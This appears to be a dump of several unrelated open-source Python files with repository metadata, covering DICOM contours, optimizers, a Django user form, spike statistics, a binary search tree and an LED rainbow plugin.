slice_info[str(z_values[slice_number])] contour_data.ContourImageSequence = Sequence([image_data]) contour_data.ContourData = contour_as_string contour_sequence.append(contour_data) roi_contour_data.ContourSequence = contour_sequence roi_contour_sequence.append(roi_contour_data) ds.ROIContourSequence = roi_contour_sequence ds.ApprovalStatus = 'UNAPPROVED' ds.save_as(output_filename) return def read_contours(structure_file): # code from xuefeng # http://aapmchallenges.cloudapp.net/forums/3/2/ contours = [] contour_names = [] for i in range(len(structure_file.ROIContourSequence)): contour = {'color': structure_file.ROIContourSequence[i].ROIDisplayColor, 'number': structure_file.ROIContourSequence[i].ReferencedROINumber, 'name': structure_file.StructureSetROISequence[i].ROIName} assert contour['number'] == structure_file.StructureSetROISequence[i].ROINumber contour['contours'] = [s.ContourData for s in structure_file.ROIContourSequence[i].ContourSequence] contours.append(contour) contour_names.append(contour['name']) return contours, contour_names def get_mask(contours, slices, image): # code from xuefeng # http://aapmchallenges.cloudapp.net/forums/3/2/ z = [s.ImagePositionPatient[2] for s in slices] pos_r = slices[0].ImagePositionPatient[1] spacing_r = slices[0].PixelSpacing[1] pos_c = slices[0].ImagePositionPatient[0] spacing_c = slices[0].PixelSpacing[0] im_dims = image.shape label = np.zeros([im_dims[2], im_dims[1], im_dims[0]], dtype=np.uint8) z_index = 0 for con in contours: num = int(con['number']) for c in con['contours']: nodes = np.array(c).reshape((-1, 3)) assert np.amax(np.abs(np.diff(nodes[:, 2]))) == 0 zNew = [round(elem, 1) for elem in z] try: z_index = z.index(nodes[0, 2]) except ValueError: try: z_index = zNew.index(round(nodes[0, 2], 1)) except ValueError: print('Slice not found for ' + con['name'] + ' at z = ' + str(nodes[0, 2])) r = (nodes[:, 1] - pos_r) / spacing_r c = (nodes[:, 0] - pos_c) / spacing_c rr, cc = polygon(r, c) label[z_index, rr, cc] = num return sITK.GetImageFromArray(label)

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null

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b59742af888cb2d88c4cbf6cba219ceb64599613

2,364

py

Python

code/opt_algo/downhillsimplex_untested.py

nicolai-schwartze/Masterthesis

7857af20c6b233901ab3cedc325bd64704111e16

[ "MIT" ]

1

2020-06-13T10:02:02.000Z

code/opt_algo/downhillsimplex_untested.py

nicolai-schwartze/Masterthesis

7857af20c6b233901ab3cedc325bd64704111e16

[ "MIT" ]

null

code/opt_algo/downhillsimplex_untested.py

nicolai-schwartze/Masterthesis

7857af20c6b233901ab3cedc325bd64704111e16

[ "MIT" ]

null

# -*- coding: utf-8 -*- """ Created on Mon Apr 20 14:03:18 2020 @author: Nicolai """ import sys sys.path.append("../differential_evolution") from JADE import JADE import numpy as np import scipy as sc import testFunctions as tf def downhillsimplex(population, function, minError, maxFeval): ''' implementation of a memetic JADE: \n maxFeval-2*dim of the function evaluation are spend on JADE 2*dim of the function evaluation is used to perform a downhill simplex internal parameters of JADE are set to p=0.3 and c=0.5 Parameters ---------- population: numpy array 2D numpy array where lines are candidates and colums is the dimension function: function fitness function that is optimised minError: float stopping condition on function value maxFeval: int stopping condition on max number of function evaluation Returns ------- history: tuple tupel[0] - popDynamic tupel[1] - FEDynamic tupel[2] - FDynamic tupel[3] - CRDynamic Examples -------- >>> import numpy as np >>> def sphere(x): return np.dot(x,x) >>> minError = -1*np.inf >>> maxGen = 10**3 >>> population = 100*np.random.rand(50,2) >>> (popDynamic, FEDynamic, FDynamic, CRDynamic) = JADE(population, sphere, minError, maxGen) ''' psize, dim = population.shape startSolution = population[np.random.randint(0, high=psize)] _, _, _, _, _, allvecs = sc.optimize.fmin(function, startSolution, ftol=minError, \ maxfun=maxFeval, \ full_output = True, retall = True) FDynamic = [] CRDynamic = [] popDynamic = [] FEDynamic = [] for x in allvecs: popDynamic.append(np.array([x])) FEDynamic.append(function(allvecs[-1])) return (popDynamic, FEDynamic, FDynamic, CRDynamic) if __name__ == "__main__": import matplotlib.pyplot as plt population = 100*np.random.rand(4,2) minError = 10**-200 maxFeval = 10**3 H = 100 p = 0.3 c = 0.5 (popDynamic, FEDynamic, FDynamic, CRDynamic) = downhillsimplex(population, \ tf.sphere, minError, maxFeval) plt.semilogy(FEDynamic)

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null

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null

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1

0

b59a516d2e4ba77e47687f54990e9a2e4f955197

1,185

py

Python

LoopStructural/modelling/features/lambda_geological_feature.py

wgorczyk/LoopStructural

bedc7abd4c1868fdbd6ed659c8d72ef19f793875

[ "MIT" ]

67

2020-06-25T06:50:58.000Z

2022-03-29T17:15:43.000Z

LoopStructural/modelling/features/lambda_geological_feature.py

wgorczyk/LoopStructural

bedc7abd4c1868fdbd6ed659c8d72ef19f793875

[ "MIT" ]

60

2020-06-28T22:58:21.000Z

2022-03-24T01:30:59.000Z

LoopStructural/modelling/features/lambda_geological_feature.py

wgorczyk/LoopStructural

bedc7abd4c1868fdbd6ed659c8d72ef19f793875

[ "MIT" ]

9

2020-06-25T13:07:39.000Z

2021-12-01T01:41:24.000Z

""" Geological features """ import logging import numpy as np logger = logging.getLogger(__name__) class LambdaGeologicalFeature: def __init__(self,function = None,name = 'unnamed_lambda', gradient_function = None, model = None): self.function = function self.name = name self.gradient_function = gradient_function self.model = model if self.model is not None: v = function(self.model.regular_grid((10, 10, 10))) self._min = np.nanmin(v)#function(self.model.regular_grid((10, 10, 10)))) self._max = np.nanmax(v) else: self._min = 0 self._max = 0 def evaluate_value(self, xyz): v = np.zeros((xyz.shape[0])) if self.function is None: v[:] = np.nan else: v[:] = self.function(xyz) return v def evaluate_gradient(self,xyz): v = np.zeros((xyz.shape[0],3)) if self.gradient_function is None: v[:,:] = np.nan else: v[:,:] = self.gradient_function(xyz) return v def min(self): return self._min def max(self): return self._max

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0

b59a84378daec5c068b0ad9a5875001c348356a9

2,137

py

Python

2021/day8.py

Bug38/AoC

576ee0d3745242b71240a62c121c52bc92f7253e

[ "MIT" ]

null

2021/day8.py

Bug38/AoC

576ee0d3745242b71240a62c121c52bc92f7253e

[ "MIT" ]

null

2021/day8.py

Bug38/AoC

576ee0d3745242b71240a62c121c52bc92f7253e

[ "MIT" ]

null

from typing import Set import utils data = utils.getLinesFromFile("day8.input") # data = ['be cfbegad cbdgef fgaecd cgeb fdcge agebfd fecdb fabcd edb | fdgacbe cefdb cefbgd gcbe','edbfga begcd cbg gc gcadebf fbgde acbgfd abcde gfcbed gfec | fcgedb cgb dgebacf gc','fgaebd cg bdaec gdafb agbcfd gdcbef bgcad gfac gcb cdgabef | cg cg fdcagb cbg','fbegcd cbd adcefb dageb afcb bc aefdc ecdab fgdeca fcdbega | efabcd cedba gadfec cb','aecbfdg fbg gf bafeg dbefa fcge gcbea fcaegb dgceab fcbdga | gecf egdcabf bgf bfgea','fgeab ca afcebg bdacfeg cfaedg gcfdb baec bfadeg bafgc acf | gebdcfa ecba ca fadegcb','dbcfg fgd bdegcaf fgec aegbdf ecdfab fbedc dacgb gdcebf gf | cefg dcbef fcge gbcadfe','bdfegc cbegaf gecbf dfcage bdacg ed bedf ced adcbefg gebcd | ed bcgafe cdgba cbgef','egadfb cdbfeg cegd fecab cgb gbdefca cg fgcdab egfdb bfceg | gbdfcae bgc cg cgb','gcafb gcf dcaebfg ecagb gf abcdeg gaef cafbge fdbac fegbdc | fgae cfgab fg bagce'] # data = ['acedgfb cdfbe gcdfa fbcad dab cefabd cdfgeb eafb cagedb ab | cdfeb fcadb cdfeb cdbaf'] inputs, outputs = [], [] for d in data: a, b = d.split('|') inputs.append(a.strip().split()) outputs.append(b.strip().split()) def part1(): ret = 0 for os in outputs: for o in os: if len(o) in [2, 3, 4, 7]: ret += 1 return ret def part2(): ret = 0 for i, ins in enumerate(inputs): ins = sorted(ins, key=len) wires = [0, ins[0], 0, 0, ins[2], 0, 0, ins[1], ins[-1], 0] for w in ins: if len(w) in [2, 3, 4, 7]: continue if len(w) == 5 and set(wires[1]).issubset(set(w)): wires[3] = w continue if len(w) == 6 and set(wires[3]).issubset(set(w)): wires[9] = w continue elif len(w) == 6 and set(wires[1]).issubset(set(w)): wires[0] = w continue elif len(w) == 6: wires[6] = w continue for w in ins: if w in wires: continue if set(w).issubset(set(wires[6])): wires[5] = w else: wires[2] = w value = "" for o in outputs[i]: for i, w in enumerate(wires): if set(o) == set(w): value += str(i) break ret += int(value) return ret print(f'Part1: {part1()}') print(f'Part2: {part2()}')

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null

0

null

0

1

0

b59c0e7ce913172c25c6a249bc299d0133408394

4,951

py

Python

utils/optimizers.py

csalt-research/OpenASR-py

9aea6753689d87d321260d7eb0ea0544e1b3403a

[ "MIT" ]

2

2019-11-29T15:46:14.000Z

2021-05-28T06:54:41.000Z

utils/optimizers.py

csalt-research/OpenASR-py

9aea6753689d87d321260d7eb0ea0544e1b3403a

[ "MIT" ]

null

utils/optimizers.py

csalt-research/OpenASR-py

9aea6753689d87d321260d7eb0ea0544e1b3403a

[ "MIT" ]

null

""" Optimizers class """ import torch import torch.optim as optim from torch.nn.utils import clip_grad_norm_ import operator import functools from copy import copy from math import sqrt def build_torch_optimizer(model, opt): params = [p for p in model.parameters() if p.requires_grad] if opt.optim == 'sgd': optimizer = optim.SGD( params, lr=opt.learning_rate) elif opt.optim == 'adagrad': optimizer = optim.Adagrad( params, lr=opt.learning_rate, initial_accumulator_value=opt.adagrad_accumulator_init) elif opt.optim == 'adadelta': optimizer = optim.Adadelta( params, lr=opt.learning_rate) elif opt.optim == 'adam': optimizer = optim.Adam( params, lr=opt.learning_rate, betas=[opt.adam_beta1, opt.adam_beta2], eps=1e-9) else: raise ValueError('Invalid optimizer type: ' + opt.optim) return optimizer def make_lr_decay_fn(opt): if opt.decay_method == 'noam': return functools.partial( noam_decay, warmup_steps=opt.warmup_steps, model_size=opt.dec_rnn_size) elif opt.decay_method == 'noamwd': return functools.partial( noamwd_decay, warmup_steps=opt.warmup_steps, model_size=opt.dec_rnn_size, rate=opt.learning_rate_decay, decay_steps=opt.decay_steps, start_step=opt.start_decay_steps) elif opt.decay_method == 'rsqrt': return functools.partial( rsqrt_decay, warmup_steps=opt.warmup_steps) elif opt.start_decay_steps is not None: return functools.partial( exponential_decay, rate=opt.learning_rate_decay, decay_steps=opt.decay_steps, start_step=opt.start_decay_steps) def noam_decay(step, warmup_steps, model_size): """ Learning rate schedule described in https://arxiv.org/pdf/1706.03762.pdf. """ return ( model_size ** (-0.5) * min(step ** (-0.5), step * warmup_steps**(-1.5))) def noamwd_decay(step, warmup_steps, model_size, rate, decay_steps, start_step=0): """ Learning rate schedule optimized for huge batches """ return ( model_size ** (-0.5) * min(step ** (-0.5), step * warmup_steps**(-1.5)) * rate ** (max(step - start_step + decay_steps, 0) // decay_steps)) def exponential_decay(step, rate, decay_steps, start_step=0): """ A standard exponential decay, scaling the learning rate by :obj:`rate` every :obj:`decay_steps` steps. """ return rate ** (max(step - start_step + decay_steps, 0) // decay_steps) def rsqrt_decay(step, warmup_steps): """ Decay based on the reciprocal of the step square root. """ return 1.0 / sqrt(max(step, warmup_steps)) class Optimizer(object): def __init__(self, optimizer, learning_rate, learning_rate_decay_fn=None, max_grad_norm=None): self._optimizer = optimizer self._learning_rate = learning_rate self._learning_rate_decay_fn = learning_rate_decay_fn self._max_grad_norm = max_grad_norm or 0 self._training_step = 1 self._decay_step = 1 @property def training_step(self): return self._training_step def learning_rate(self): if self._learning_rate_decay_fn is None: return self._learning_rate scale = self._learning_rate_decay_fn(self._decay_step) return scale * self._learning_rate def state_dict(self): return { 'training_step': self._training_step, 'decay_step': self._decay_step, 'optimizer': self._optimizer.state_dict() } def load_state_dict(self, state_dict, device): self._training_step = state_dict['training_step'] # State can be partially restored if 'decay_step' in state_dict: self._decay_step = state_dict['decay_step'] if 'optimizer' in state_dict: self._optimizer.load_state_dict(state_dict['optimizer']) # https://github.com/pytorch/pytorch/issues/2830 for state in self._optimizer.state.values(): for k, v in state.items(): if torch.is_tensor(v): state[k] = v.to(device) def zero_grad(self): self._optimizer.zero_grad() def backward(self, loss): loss.backward() def step(self): learning_rate = self.learning_rate() for group in self._optimizer.param_groups: group['lr'] = learning_rate if self._max_grad_norm > 0: clip_grad_norm_(group['params'], self._max_grad_norm) self._optimizer.step() self._decay_step += 1 self._training_step += 1

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b59da18e5dee5065a74262a17b2223e79fa39bac

3,019

py

Python

src/argcompile/meta.py

artu-hnrq/argcompile

48b8997cc21b861fd090a809a9149d95476edbf8

[ "MIT" ]

null

src/argcompile/meta.py

artu-hnrq/argcompile

48b8997cc21b861fd090a809a9149d95476edbf8

[ "MIT" ]

null

src/argcompile/meta.py

artu-hnrq/argcompile

48b8997cc21b861fd090a809a9149d95476edbf8

[ "MIT" ]

null

import inspect class MetaComposition(type): """Overwrites a target method to behave calling same-type superclasses' implementation orderly""" def __new__(meta, name, bases, attr, __func__='__call__'): attr['__run__'] = attr[__func__] attr[__func__] = meta.__run__ return super(MetaComposition, meta).__new__( meta, name, bases, attr ) def __run__(self, *args, **kwargs): for compound in self.__class__.__compound__: compound.__run__(self, *args, **kwargs) @property def __compound__(cls): return [ element for element in list(cls.__mro__)[::-1] if type(element) is type(cls) ] class MetaArgumentCompiler(MetaComposition): """Tracks __init__ keyword arguments to manage Actions and Attributes configuration""" def __new__(meta, name, bases, attr): __config__ = attr.pop('__config__', {}) __action__ = attr.pop('__action__', {}) __attr__ = attr.pop('__attr__', {}) for keys in [__action__.keys(), __attr__.keys()]: for key in keys: if key not in __config__.keys(): __config__[key] = {} __init__ = attr.pop('__init__', None) def init(self, *a, **kw): config = {} for key, args in __config__.items(): if key in __action__.keys() or key in __attr__.keys(): config[key] = args config[key].update(kw.pop(key, {})) else: kw[key] = args kw[key].update(kw.get(key, {})) if __init__: __init__(self, *a, **kw) for key, args in config.items(): if key in __action__: self.add_argument( *config[key].pop('*', []), action=__action__[key], **config[key] ) else: self.add_attribute( __attr__[key](*config[key].pop('*', []), **config[key]) ) attr['__init__'] = init return super(MetaArgumentCompiler, meta).__new__(meta, name, bases, attr) def __run__(self, namespace): for compiler in self.__class__.__compound__: namespace = compiler.__run__(self, namespace) return namespace class MetaAttribute(type): """Overwrites __call__ method to pop temporary arguments from Namespace in order to process them""" def __new__(meta, name, bases, attr): if __run__ := attr.get('__call__', None): args = inspect.getargspec(__run__).args[1:] def __call__(self, namespace): attr = dict() for arg in args: if value := getattr(namespace, arg, None): attr[arg] = value delattr(namespace, arg) __run__(self, namespace, **attr) return namespace attr['__call__'] = __call__ return super(MetaAttribute, meta).__new__(meta, name, bases, attr) # class Meta(type): # def __new__(meta, name, bases, attr): # """Meta description of class definition""" # return super(Meta, meta).__new__(meta, name, bases, attr) # def __init__(cls, name, bases, attr, compound): # """ Meta intervention on class instantiation """ # return super(Meta, cls).__init__(cls, name, bases, attr) # def __call__(cls, *args): # """ Meta modifications in object instantiation """ # return super(Meta, cls).__call__(cls, *args)

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null

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b5a0cac842fff324e018f25672c1b93817ef376b

761

py

Python

linux/keyman-config/tests/test_gnome_keyboards_util.py

srl295/keyman

4dfd0f71f3f4ccf81d1badbd824900deee1bb6d1

[ "MIT" ]

null

linux/keyman-config/tests/test_gnome_keyboards_util.py

srl295/keyman

4dfd0f71f3f4ccf81d1badbd824900deee1bb6d1

[ "MIT" ]

null

linux/keyman-config/tests/test_gnome_keyboards_util.py

srl295/keyman

4dfd0f71f3f4ccf81d1badbd824900deee1bb6d1

[ "MIT" ]

null

#!/usr/bin/python3 import unittest from unittest.mock import patch from keyman_config.gnome_keyboards_util import is_gnome_shell, _reset_gnome_shell class GnomeKeyboardsUtilTests(unittest.TestCase): def setUp(self): _reset_gnome_shell() @patch('keyman_config.os.system') def test_IsGnomeShell_RunningGnomeShell(self, mockSystem): # Setup mockSystem.return_value = 0 # Execute/Verify self.assertEqual(is_gnome_shell(), True) @patch('keyman_config.os.system') def test_IsGnomeShell_NotRunningGnomeShell(self, mockSystem): # Setup mockSystem.return_value = 1 # Execute/Verify self.assertEqual(is_gnome_shell(), False) if __name__ == '__main__': unittest.main()

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null

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0

b5a22c7ed55e816b9317d7d3ca45276bbf0eae8f

4,059

py

Python

ghostwriter/users/forms.py

bbhunter/Ghostwriter

1b684ddd119feed9891e83b39c9b314b41d086ca

[ "BSD-3-Clause" ]

1

2022-02-04T20:24:35.000Z

ghostwriter/users/forms.py

bbhunter/Ghostwriter

1b684ddd119feed9891e83b39c9b314b41d086ca

[ "BSD-3-Clause" ]

null

ghostwriter/users/forms.py

bbhunter/Ghostwriter

1b684ddd119feed9891e83b39c9b314b41d086ca

[ "BSD-3-Clause" ]

null

"""This contains all of the forms used by the Users application.""" # Django Imports from django.contrib.admin.widgets import FilteredSelectMultiple from django.contrib.auth import forms, get_user_model from django.contrib.auth.forms import UserChangeForm from django.contrib.auth.models import Group from django.core.exceptions import ValidationError from django.forms import ModelForm, ModelMultipleChoiceField from django.utils.translation import gettext_lazy as _ # 3rd Party Libraries from crispy_forms.helper import FormHelper from crispy_forms.layout import HTML, ButtonHolder, Column, Layout, Row, Submit User = get_user_model() class UserChangeForm(UserChangeForm): """ Update details for an individual :model:`users.User`. """ class Meta: model = get_user_model() fields = ( "email", "name", "timezone", "phone", ) def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.fields["phone"].widget.attrs["autocomplete"] = "off" self.fields["phone"].widget.attrs["placeholder"] = "Your Work Number" self.fields["phone"].help_text = "Work phone number for work contacts" self.fields["timezone"].help_text = "Timezone in which you work" self.helper = FormHelper() self.helper.form_method = "post" self.helper.form_class = "newitem" self.helper.form_show_labels = False self.helper.layout = Layout( Row( Column("name", css_class="form-group col-md-6 mb-0"), Column("email", css_class="form-group col-md-6 mb-0"), css_class="form-row mt-4", ), Row( Column("phone", css_class="form-group col-md-6 mb-0"), Column("timezone", css_class="form-group col-md-6 mb-0"), css_class="form-row", ), ButtonHolder( Submit("submit", "Submit", css_class="btn btn-primary col-md-4"), HTML( """ <button onclick="window.location.href='{{ cancel_link }}'" class="btn btn-outline-secondary col-md-4" type="button">Cancel</button> """ ), ), ) class UserCreationForm(forms.UserCreationForm): # pragma: no cover """ Create an individual :model:`users.User`. """ error_message = forms.UserCreationForm.error_messages.update( {"duplicate_username": _("This username has already been taken.")} ) class Meta(forms.UserCreationForm.Meta): model = User def clean_username(self): username = self.cleaned_data["username"] try: User.objects.get(username=username) except User.DoesNotExist: return username raise ValidationError(self.error_messages["duplicate_username"]) # Create ModelForm based on the Group model class GroupAdminForm(ModelForm): class Meta: model = Group exclude = [] # Add the users field users = ModelMultipleChoiceField( queryset=User.objects.all(), required=False, # Use the pretty ``filter_horizontal`` widget widget=FilteredSelectMultiple("users", False), label=_( "Users", ), ) def __init__(self, *args, **kwargs): # Do the normal form initialisation super().__init__(*args, **kwargs) # If it is an existing group (saved objects have a pk) if self.instance.pk: # Populate the users field with the current Group users self.fields["users"].initial = self.instance.user_set.all() def save_m2m(self): # pragma: no cover # Add the users to the Group self.instance.user_set.set(self.cleaned_data["users"]) def save(self, *args, **kwargs): # pragma: no cover # Default save instance = super().save() # Save many-to-many data self.save_m2m() return instance

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4,059

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0.296296

0

null

0

null

0

1

0

b5a405be96095986ee0bca6128c66be907263013

5,119

py

Python

nxsdk_modules_contrib/pelenet/pelenet/utils/spikes.py

biagiom/models

79489a3c429b3027dd420840bbccfee5e8c9a879

[ "BSD-3-Clause" ]

54

2020-03-04T17:37:17.000Z

2022-02-22T13:16:10.000Z

nxsdk_modules_contrib/pelenet/pelenet/utils/spikes.py

biagiom/models

79489a3c429b3027dd420840bbccfee5e8c9a879

[ "BSD-3-Clause" ]

9

2020-08-26T13:17:54.000Z

2021-11-09T09:02:00.000Z

nxsdk_modules_contrib/pelenet/pelenet/utils/spikes.py

biagiom/models

79489a3c429b3027dd420840bbccfee5e8c9a879

[ "BSD-3-Clause" ]

26

2020-03-18T17:09:34.000Z

2021-11-22T16:23:14.000Z

import numpy as np import scipy.linalg as la from statsmodels.tsa.api import SimpleExpSmoothing, Holt """ @desc: From activity probe, calculate spike patterns """ def getSpikesFromActivity(self, activityProbes): # Get number of probes (equals number of used cores) numProbes = np.shape(activityProbes)[0] # Concatenate all probes activityTrain = [] for i in range(numProbes): activityTrain.extend(activityProbes[i].data) # Transform to numpy array activityTrain = np.array(activityTrain) # Calculate spike train from activity #spikeTrain = activityTrain[:,1:] - activityTrain[:,:-1] activityTrain[:,1:] -= activityTrain[:,:-1] spikeTrain = activityTrain return spikeTrain """ @desc: Calculate cross correlation between spike trains of two neurons """ def cor(self, t1, t2): # Calculate standard devaition of each spike train sd1 = np.sqrt(np.correlate(t1, t1)[0]) sd2 = np.sqrt(np.correlate(t2, t2)[0]) # Check if any standard deviation is zero if (sd1 != 0 and sd2 != 0): return np.correlate(t1, t2)[0]/np.multiply(sd1, sd2) else: return 0 """ @desc: Filter spike train @pars: spikeTrain: has N rows (number of neurons) and T columns (number of time steps) filter: filter method as string, can be: 'single exponential', 'double exponential' or 'gaussian' (symmetric) """ def getFilteredSpikes(self, spikes, filter="single exponential"): if (filter == 'single exponential'): return self.getSingleExponentialFilteredSpikes(spikes) if (filter == 'double exponential'): return self.getHoltDoubleExponentialFilteredSpikes(spikes) if (filter == 'gaussian'): return self.getGaussianFilteredSpikes(spikes) """ @desc: Get symmetric gaussian filtered spikes """ def getGaussianFilteredSpikes(self, spikes): # Define some variables wd = self.p.smoothingWd # width of smoothing, number of influenced neurons to the left and right var = self.p.smoothingVar # variance of the Gaussian kernel # Define the kernel lin = np.linspace(-wd,wd,(wd*2)+1) kernel = np.exp(-(1/(2*var))*lin**2) # Prepare spike window spikeWindow = np.concatenate((spikes[-wd:,:], spikes, spikes[:wd,:])) # Prepare smoothed array nSteps, nNeurons = spikeWindow.shape smoothed = np.zeros((nSteps, nNeurons)) # Add smoothing to every spike for n in range(nNeurons): for t in range(wd, nSteps - wd): # Only add something if there is a spike, otherwise just add zeros add = kernel if spikeWindow[t,n] == 1 else np.zeros(2*wd+1) # Add values to smoothed array smoothed[t-wd:t+wd+1, n] += add # Return smoothed activity return smoothed[wd:-wd,:] """ @desc: Get single exponential filtered spikes """ def getSingleExponentialFilteredSpikes(self, spikes, smoothing_level=0.1): # Get dimensions N, T = np.shape(spikes) filteredSpikes = [] # Iterate over all neurons for i in range(N): # Fit values fit = SimpleExpSmoothing(spikes[i,:]).fit(smoothing_level=smoothing_level) # Append filtered values for current neuron filteredSpikes.append(fit.fittedvalues) # Transform to numpy array and return return np.array(filteredSpikes) """ @desc: Get holt double exponential filtered spikes """ def getHoltDoubleExponentialFilteredSpikes(self, spikes, smoothing_level=0.1, smoothing_slope=0.1): # Get dimensions N, T = np.shape(spikes) filteredSpikes = [] # Iterate over all neurons for i in range(N): # Fit values, if smoothing_slope = 0, result equals single exponential solution fit = Holt(spikes[i,:]).fit(smoothing_level=smoothing_level, smoothing_slope=smoothing_slope) # Append filtered values for current neuron filteredSpikes.append(fit.fittedvalues) # Transform to numpy array and return return np.array(filteredSpikes) """ @desc: Calculate fano factors """ def fano(self, spikes): # Get shape shp = spikes.shape # Iterate over all trials ff = [] for i in range(shp[0]): # Get mean and standard deviation of all spike trains mn = np.mean(spikes[i], axis=1) var = np.var(spikes[i], axis=1) # Get indices of zero-values mask = (mn != 0) # Append mean fano factors from all neurons with spiking activity ff.append(np.mean(var[mask]/mn[mask])) # Return mean fano factors for every trial return ff """ @desc: Calculate coefficient of variation """ def cv(self, spikes): # Get shape shp = spikes.shape # Iterate over all trials cv = [] for i in range(shp[0]): # Get mean and standard deviation of all spike trains mn = np.mean(spikes[i], axis=1) sd = np.std(spikes[i], axis=1) # Get indices of zero-values mask = (mn != 0) # Append mean fano factors from all neurons with spiking activity cv.append(np.mean(sd[mask]/mn[mask])) # Return mean fano factors for every trial return cv

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0.309859

0

null

0

null

0

1

0

b5a74044f5f2241591f7f602964eb017fc2ac290

6,429

py

Python

src/bst.py

tranduythanh/algorithm-in-python

b883ea0bc4dcd46b9a9f72f0ca3786aa3545f58a

[ "MIT" ]

null

src/bst.py

tranduythanh/algorithm-in-python

b883ea0bc4dcd46b9a9f72f0ca3786aa3545f58a

[ "MIT" ]

null

src/bst.py

tranduythanh/algorithm-in-python

b883ea0bc4dcd46b9a9f72f0ca3786aa3545f58a

[ "MIT" ]

null

from visualize import pprint class Node: def __init__(self, key): self.left = None self.right = None self.val = key def __repr__(self): ptr = id(self) ret = f'{ptr}:' if self.left: ret = f'{ret} {self.left.val}' else: ret = f'{ret} None' ret = f'{ret} {self.val}' if self.right: ret = f'{ret} {self.right.val}' else: ret = f'{ret} None' return ret def has_no_child(self): return (self.left is None) and (self.right is None) def has_only_left(self): return (self.left is not None) and (self.right is None) def has_only_right(self): return (self.left is None) and (self.right is not None) class Tree: def __init__(self, root = None): self.root = root def insert_recursive(self, x): if self.root is None: self.root = Node(x) return self.__insert_recursive(self.root, x) def __insert_recursive(self, node, x): if node.val == x: return if node.val < x: if node.right is None: node.right = Node(x) return self.__insert_recursive(node.right, x) return # insert to left if node.left is None: node.left = Node(x) self.__insert_recursive(node.left, x) def insert_loop(self, x): if self.root is None: self.root = Node(x) return node = self.root while True: if node.val > x: if node.left: node = node.left continue node.left = Node(x) return if node.right: node = node.right continue node.right = Node(x) return def exist_recursive(self, x): return self.__exist_recursive(self.root, x) def __exist_recursive(self, node, x): if node.val == x: return True if node.val < x: if node.right: return self.__exist_recursive(node.right, x) return False if node.left: return self.__exist_recursive(node.left, x) return False def exist_loop(self, x): node = self.root while True: if not node: return False if node.val == x: return True if node.val < x: node = node.right continue node = node.left def sort_lnr_recursive(self): return self.__lnr_recursive(self.root) def __lnr_recursive(self, node, arr=[]): if node.left: self.__lnr_recursive(node.left, arr) arr.append(node.val) if node.right: self.__lnr_recursive(node.right, arr) return arr def sort_lnr_loop(self): ret = [] node = self.root stack = [] while True: while node: stack.append(node) node = node.left if len(stack) > 0: node = stack.pop() ret.append(node.val) node = node.right continue break return ret def sort_nlr_recursive(self): return self.__nlr_recursive(self.root) def __nlr_recursive(self, node, arr=[]): arr.append(node.val) if node.left: self.__nlr_recursive(node.left, arr) if node.right: self.__nlr_recursive(node.right, arr) return arr def sort_lrn_recursive(self): return self.__lrn_recursive(self.root) def __lrn_recursive(self, node, arr=[]): if node.left: self.__lrn_recursive(node.left, arr) if node.right: self.__lrn_recursive(node.right, arr) arr.append(node.val) return arr def get_min(self): node = self.root while node.left is not None: node = node.left return node.val def get_min_of_node(self, node): while node.left is not None: node = node.left return node.val def get_max(self): node = self.root while node.right is not None: node = node.right return node.val def delete(self, x): self.root = self.__delete(self.root, x) def __delete(self, node, x): if node is None: return None if node.val < x: node.right = self.__delete(node.right, x) return node if node.val > x: node.left = self.__delete(node.left, x) return node if node.val == x: if node.has_no_child(): return None # Handle case: node has a single child if node.has_only_left(): return node.left if node.has_only_right(): return node.right # handle case: node has 2 children # ____C___ # / \ # B E <---- delete this node # / \ # D K # / \ # I L # \ # J # step 1: replace E by I # step 2: delete I min_value = self.get_min_of_node(node.right) node.val = min_value node.right = self.__delete(node.right, min_value) return node return node def traverse(self): return self.__traverse(self.root, []) def __traverse(self, node, arr=[]): arr.append(node) if node.left: self.__traverse(node.left, arr) if node.right: self.__traverse(node.right, arr) return arr def cal_height(self): return self.__cal_height(self.root) def __cal_height(self, node): if node is None: return 0 a = self.__cal_height(node.left) b = self.__cal_height(node.right) if a > b: return (a+1) return (b+1) def build_tree(self, arr=[]): for item in arr: self.insert_recursive(item) def debug(self): pprint(self.root)

27.474359

63

0.492767

770

6,429

3.923377

0.11039

0.057597

0.029791

0.033102

0.461106

0.359484

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0.209202

0.139027

0.106587

0

0.00187

0.417639

6,429

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27.592275

0.805021

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0

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false

0

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0.047872

0.404255

0.010638

0

null

0

null

0

1

0

b5af94b7bf661eb528749316c8d0360da97313c8

1,023

py

Python

pythonModules/plugin_showRainbowAllLEDs.py

mhoelzner/BinaryClock_RP

3dcd6c9369b827c4228c90c8c4da6dd9c21ab632

[ "MIT" ]

null

pythonModules/plugin_showRainbowAllLEDs.py

mhoelzner/BinaryClock_RP

3dcd6c9369b827c4228c90c8c4da6dd9c21ab632

[ "MIT" ]

null

pythonModules/plugin_showRainbowAllLEDs.py

mhoelzner/BinaryClock_RP

3dcd6c9369b827c4228c90c8c4da6dd9c21ab632

[ "MIT" ]

null

from neopixel import Color import time class ShowRainbowAllLEDs(): def __init__(self, strip, config): self.strip = strip self.configuration = config def wheel(self, pos): """Generate rainbow colors across 0-255 positions.""" if pos < 85: return Color(pos * 3, 255 - pos * 3, 0) elif pos < 170: pos -= 85 return Color(255 - pos * 3, 0, pos * 3) else: pos -= 170 return Color(0, pos * 3, 255 - pos * 3) def showRainbowAllLEDs(self): """Draw rainbow that fades across all pixels at once.""" while True: if self.configuration.plugin == 1: return for j in range(256): if self.configuration.plugin == 1: return for i in range(self.strip.numPixels()): self.strip.setPixelColor(i, self.wheel((i+j) & 255)) self.strip.show() time.sleep(0.02)

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0.423077

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null

0

null

0

1

0

b5b23767bc452d1d161330f945974af76c7faa29

3,337

py

Python

tronx/modules/group.py

TronUb/Tron

55b5067a34cf2849913647533d7d035cab64568e

[ "MIT" ]

4

2022-03-07T07:27:04.000Z

2022-03-29T05:59:57.000Z

tronx/modules/group.py

TronUb/Tron

55b5067a34cf2849913647533d7d035cab64568e

[ "MIT" ]

null

tronx/modules/group.py

TronUb/Tron

55b5067a34cf2849913647533d7d035cab64568e

[ "MIT" ]

3

2022-03-05T15:24:51.000Z

2022-03-14T08:48:05.000Z

